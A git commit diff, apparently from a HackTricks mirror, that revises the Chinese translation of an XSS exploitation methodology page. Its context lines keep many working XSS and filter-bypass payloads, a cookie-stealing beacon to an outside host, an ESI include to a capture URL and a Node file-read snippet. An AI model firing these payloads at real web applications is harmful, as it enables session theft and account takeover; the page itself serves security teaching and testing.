mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to
This commit is contained in:
parent
9d75c19f85
commit
a267915c8f
@ -3,7 +3,7 @@
|
||||
## 方法论
|
||||
|
||||
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被 JS 代码使用**。
|
||||
2. **找到上下文**,查看它是如何被反射/使用的。
|
||||
2. **找到反射/使用的上下文**。
|
||||
3. 如果 **被反射**:
|
||||
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
|
||||
1. 在 **原始 HTML** 中:
|
||||
@ -18,11 +18,11 @@
|
||||
3. 你被困的属性是否支持 JS 执行?
|
||||
4. 你能绕过保护措施吗?
|
||||
3. 在 **JavaScript 代码中**:
|
||||
1. 你能逃避 `<script>` 标签吗?
|
||||
2. 你能逃避字符串并执行不同的 JS 代码吗?
|
||||
1. 你能逃逸 `<script>` 标签吗?
|
||||
2. 你能逃逸字符串并执行不同的 JS 代码吗?
|
||||
3. 你的输入是否在模板字面量 \`\` 中?
|
||||
4. 你能绕过保护措施吗?
|
||||
4. Javascript **函数**被 **执行**:
|
||||
4. 被 **执行的 JavaScript 函数**:
|
||||
1. 你可以指明要执行的函数名称。例如: `?callback=alert(1)`
|
||||
4. 如果 **被使用**:
|
||||
1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用**。
|
||||
@ -37,27 +37,27 @@ debugging-client-side-js.md
|
||||
|
||||
为了成功利用 XSS,你需要找到的第一件事是 **一个由你控制的值在网页中被反射**。
|
||||
|
||||
- **中间反射**:如果你发现参数的值甚至路径在网页中被反射,你可以利用 **反射 XSS**。
|
||||
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用 **存储 XSS**。
|
||||
- **中间反射**:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用 **反射型 XSS**。
|
||||
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用 **存储型 XSS**。
|
||||
- **通过 JS 访问**:如果你发现一个由你控制的值通过 JS 被访问,你可以利用 **DOM XSS**。
|
||||
|
||||
## 上下文
|
||||
|
||||
在尝试利用 XSS 时,你需要知道的第一件事是 **你的输入在哪里被反射**。根据上下文,你将能够以不同的方式执行任意 JS 代码。
|
||||
在尝试利用 XSS 时,你需要知道的第一件事是 **你的输入被反射在哪里**。根据上下文,你将能够以不同的方式执行任意 JS 代码。
|
||||
|
||||
### 原始 HTML
|
||||
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**,你需要利用一些 **HTML 标签** 来执行 JS 代码:`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**,你需要利用一些 **HTML 标签** 来执行 JS 代码:`<img`、`<iframe`、`<svg`、`<script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
此外,请记住 [客户端模板注入](../client-side-template-injection-csti.md)。
|
||||
|
||||
### 在 HTML 标签属性内
|
||||
|
||||
如果你的输入在标签的属性值中被反射,你可以尝试:
|
||||
|
||||
1. **从属性和标签中逃脱**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
|
||||
2. 如果你 **可以从属性中逃脱但不能从标签中逃脱**(`>` 被编码或删除),根据标签的不同,你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法从属性中逃脱**(`"` 被编码或删除),那么根据 **你的值被反射在哪个属性中**,以及 **你是否控制整个值或仅部分值**,你将能够进行利用。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 中被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社交工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
1. **从属性和标签中逃逸**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
|
||||
2. 如果你 **可以从属性中逃逸但不能从标签中逃逸**(`>` 被编码或删除),根据标签的不同,你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法从属性中逃逸**(`"` 被编码或删除),那么根据 **你的值被反射在哪个属性中**,以及 **你是否控制整个值或仅部分值**,你将能够进行利用。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 中被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社会工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
如果你控制一个类名,Angular 执行 XSS 的奇怪例子:
|
||||
```html
|
||||
@ -98,9 +98,9 @@ js-hoisting.md
|
||||
|
||||
.png>)
|
||||
|
||||
如果它是脆弱的,您可能能够**触发一个警报**,只需发送值:**`?callback=alert(1)`**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||
如果它是脆弱的,您可以通过发送值**`?callback=alert(1)`**来**触发一个警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||
|
||||
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**:
|
||||
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **通用 XSS**
|
||||
|
||||
这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用,还依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\
|
||||
这种类型的 XSS 可以在**任何地方**找到。它们不仅仅依赖于对 Web 应用程序的客户端利用,而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\
|
||||
一些**示例**:
|
||||
|
||||
{{#ref}}
|
||||
@ -162,7 +162,7 @@ alert(1)
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
但是,如果使用了标签/属性的黑白名单,您需要**暴力破解可以创建的标签**。\
|
||||
一旦您**找到了允许的标签**,您需要**暴力破解有效标签内的属性/事件**,以查看如何攻击该上下文。
|
||||
一旦您**找到了允许的标签**,您需要**暴力破解属性/事件**,以查看如何攻击该上下文。
|
||||
|
||||
### 标签/事件暴力破解
|
||||
|
||||
@ -243,14 +243,14 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
如果你认为**创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**,你应该检查[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html),因为你可以**利用**这个漏洞**而不**执行**JS**代码。
|
||||
如果你认为**创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**,你应该查看[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html),因为你可以**利用**这个漏洞**而不**执行**JS**代码。
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
如果你在**HTML 标签内部**,你可以尝试的第一件事是**逃离**这个标签,并使用[上一节](#injecting-inside-raw-html)中提到的一些技术来执行 JS 代码。\
|
||||
如果你**无法逃离这个标签**,你可以在标签内部创建新的属性来尝试执行 JS 代码,例如使用一些有效载荷(_注意在这个例子中使用双引号来逃离属性,如果你的输入直接反映在标签内部,你就不需要它们_):
|
||||
如果你**无法逃离这个标签**,你可以在标签内部创建新的属性来尝试执行 JS 代码,例如使用一些有效载荷(_注意在这个例子中使用双引号来逃离属性,如果你的输入直接反映在标签内,你就不需要它们_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,7 +267,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
```
|
||||
### Within the attribute
|
||||
|
||||
即使你**无法从属性中逃脱**(`"`被编码或删除),根据**你的值反射在哪个属性中**,**如果你控制所有值或只是部分值**,你将能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
|
||||
即使你**无法从属性中逃脱**(`"`被编码或删除),根据**你的值反射在哪个属性中**,**如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
|
||||
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
|
||||
**通过HTML编码/URL编码绕过事件**
|
||||
@ -408,7 +408,7 @@ Android: %09 %20 %28 %2C %3B
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
在**meta标签**中:
|
||||
在 **meta 标签**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### 黑名单绕过
|
||||
|
||||
本节中已经揭示了几种使用不同编码的技巧。请**返回以了解您可以在哪里使用:**
|
||||
本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的内容:**
|
||||
|
||||
- **HTML编码(HTML标签)**
|
||||
- **Unicode编码(可以是有效的JS代码):** `\u0061lert(1)`
|
||||
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### CSS小工具
|
||||
|
||||
如果您在网页的**非常小的部分**发现了**XSS**,并且需要某种交互(可能是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
如果您在网络的**非常小的部分**发现了**XSS**,并且需要某种交互(可能是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
|
||||
例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## 在JavaScript代码中注入
|
||||
|
||||
在这种情况下,您的**输入**将**反映在`.js`文件的JS代码**中,或在`<script>...</script>`标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。
|
||||
在这些情况下,您的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。
|
||||
|
||||
### 转义\<script>标签
|
||||
|
||||
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**在JS代码中的空格替代**
|
||||
**在JS代码中的空格替换**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
@ -624,7 +624,7 @@ console.log(arguments);
|
||||
btt`${'arg1'}${'arg2'}${'arg3'}`
|
||||
|
||||
//It's possible to construct a function and call it
|
||||
Function`x${'alert(1337)'}x```
|
||||
Function`x${'alert(1337)'}x`
|
||||
|
||||
// .replace can use regexes and call a function if something is found
|
||||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
||||
@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
@ -738,14 +739,14 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM 漏洞**
|
||||
|
||||
有 **JS 代码** 使用了 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
**由于对** [**DOM 漏洞的解释扩展,已移至此页面**](dom-xss.md)**:**
|
||||
有 **JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
在那里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
|
||||
在这里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
|
||||
此外,不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
||||
|
||||
### 升级 Self-XSS
|
||||
@ -758,15 +759,15 @@ dom-xss.md
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳利用。
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用示例。
|
||||
|
||||
### 将你的会话发送给管理员
|
||||
|
||||
也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了该资料,他将触发该漏洞。
|
||||
也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了它,他将触发这个漏洞。
|
||||
|
||||
### 会话镜像
|
||||
|
||||
如果你发现一些自我 XSS,并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助你,管理员将看到你在自己的会话中看到的内容,但从他的会话中。
|
||||
如果你发现一些自我 XSS,并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助你,管理员将看到你在你的会话中看到的内容,但从他的会话中。
|
||||
|
||||
你可以让 **管理员触发你的自我 XSS** 并窃取他的 cookies/会话。
|
||||
|
||||
@ -774,7 +775,7 @@ dom-xss.md
|
||||
|
||||
### 规范化 Unicode
|
||||
|
||||
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个例子**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL 标志绕过
|
||||
```javascript
|
||||
@ -823,24 +824,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
### XSS与302响应中的头注入
|
||||
|
||||
如果你发现可以在 **302 重定向响应中注入头部**,你可以尝试 **让浏览器执行任意 JavaScript**。这 **并不简单**,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
如果你发现可以在**302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
|
||||
在 [**这份报告**](https://www.gremwell.com/firefox-xss-302) 和 [**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以阅读如何在 Location 头部测试多个协议,并查看其中是否有任何协议允许浏览器检查并执行体内的 XSS 有效载荷。\
|
||||
已知的过去协议: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空 Location 头部_, `resource://`。
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何在Location头中测试几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
|
||||
|
||||
### 仅限字母、数字和点
|
||||
|
||||
如果你能够指示 JavaScript 将要 **执行** 的 **回调** 限制在这些字符内。 [**阅读这篇文章的这一部分**](#javascript-function) 以了解如何利用这种行为。
|
||||
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
|
||||
|
||||
### 有效的`<script>`内容类型以进行XSS
|
||||
|
||||
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本,Chrome将抛出以下错误:
|
||||
|
||||
> 拒绝从 ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 执行脚本,因为其 MIME 类型 (‘application/octet-stream’) 不是可执行的,并且启用了严格的 MIME 类型检查。
|
||||
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本,因为其MIME类型(‘application/octet-stream’)不可执行,并且启用了严格的MIME类型检查。
|
||||
|
||||
唯一支持 Chrome 运行 **加载脚本** 的 **Content-Type** 是 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) 中常量 **`kSupportedJavascriptTypes`** 内的类型。
|
||||
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中的常量**`kSupportedJavascriptTypes`**。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -868,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **module** (默认,无需解释)
|
||||
- **模块** (默认,无需解释)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,您可以将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -923,7 +924,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? 不在列表中,但我想我在 CTF 中见过这个)
|
||||
- text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
|
||||
- application/rss+xml (关闭)
|
||||
- application/atom+xml (关闭)
|
||||
|
||||
@ -931,7 +932,7 @@ import { partition } from "lodash"
|
||||
|
||||
### xml Content Type
|
||||
|
||||
如果页面返回的是 text/xml 内容类型,可以指示一个命名空间并执行任意 JS:
|
||||
如果页面返回 text/xml 内容类型,可以指示一个命名空间并执行任意 JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -984,7 +985,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
如果在执行不受信任的代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)中所述),则可以“凭空”生成有用的对象,以滥用任意不受信任代码的执行:
|
||||
如果在执行不可信代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)中所述),则可以“凭空”生成有用的对象,以滥用任意不可信代码的执行:
|
||||
|
||||
- 使用 import()
|
||||
```javascript
|
||||
@ -993,7 +994,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- 间接访问 `require`
|
||||
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包裹在一个函数中,如下所示:
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1267,7 +1268,7 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但在这里,如果您足够幸运,您可以 [找到一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
|
||||
> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运,这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
|
||||
|
||||
### 偷取页面内容
|
||||
```javascript
|
||||
@ -1508,11 +1509,11 @@ xss-in-markdown.md
|
||||
|
||||
### XSS 到 SSRF
|
||||
|
||||
在一个 **使用缓存的站点** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
|
||||
在一个 **使用缓存的站点** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用以下有效载荷:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
利用它来绕过 cookie 限制、XSS 过滤器等更多!\
|
||||
利用它来绕过 cookie 限制、XSS 过滤器等更多内容!\
|
||||
有关此技术的更多信息,请查看:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
||||
|
||||
### 动态创建 PDF 中的 XSS
|
||||
@ -1536,7 +1537,7 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
|
||||
|
||||
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
示例 [**在 Gmail 中的 Amp4Email 的 XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
|
||||
### XSS 上传文件 (svg)
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user